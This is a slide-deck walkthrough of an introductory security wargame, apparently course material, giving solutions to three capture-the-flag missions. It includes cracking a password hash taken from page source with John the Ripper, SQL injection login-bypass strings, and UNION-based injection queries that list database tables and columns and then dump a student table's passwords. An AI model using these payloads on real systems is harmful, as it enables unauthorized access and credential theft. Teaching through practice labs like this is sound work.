120 likes | 238 Views
NS101 Wargame. A Security Challenge. Introduction. What is a wargame ? A security challenge in which one must exploit a vulnerability in a system or application or gain access to a computer system . Usually involves several hacking techniques. Goal & Rules. Complete 3 Missions
E N D
NS101 Wargame A Security Challenge
Introduction • What is a wargame ? • Asecurity challenge in which one must exploit a vulnerability in a system or application or gain access to a computer system. • Usually involves several hacking techniques.
Goal & Rules • Complete 3 Missions • Use the tools/methods you learned from NS lessons • Find solutions on the Internet • DoS attacks are not allowed
Solutions • Mission 1 • (1) View the source code of the page (2) Copy the encrypted password
Solutions • Mission 1 (3) Paste to a txt file (4) Use john the ripper to crack the password
Solutions • Mission 2 • Try or ‘ or 1=1 --’ ‘ or ‘a’=‘a
Solutions • Mission 3 • (1) Search the user name in the hint, this page show information in two column.
Solutions • Mission 3 • (2) try Select two column ‘ union SELECT table_name,table_typeFROM information_schema.tables where ‘a’ = ‘a Union the 2nd select statement ※ If you try and error , you will find out the database is MySQL ※ about information_schema Find out the table name
Solutions • Mission 3 • (3) try ‘ union SELECT column_name,column_type FROM information_schema.columns where table_name = ‘student Find all columns in student table Find out the hidden column
Solutions • Mission 3 • (4) try Show all passwords ‘ union SELECT id,pw FROM student where ‘a’= ‘a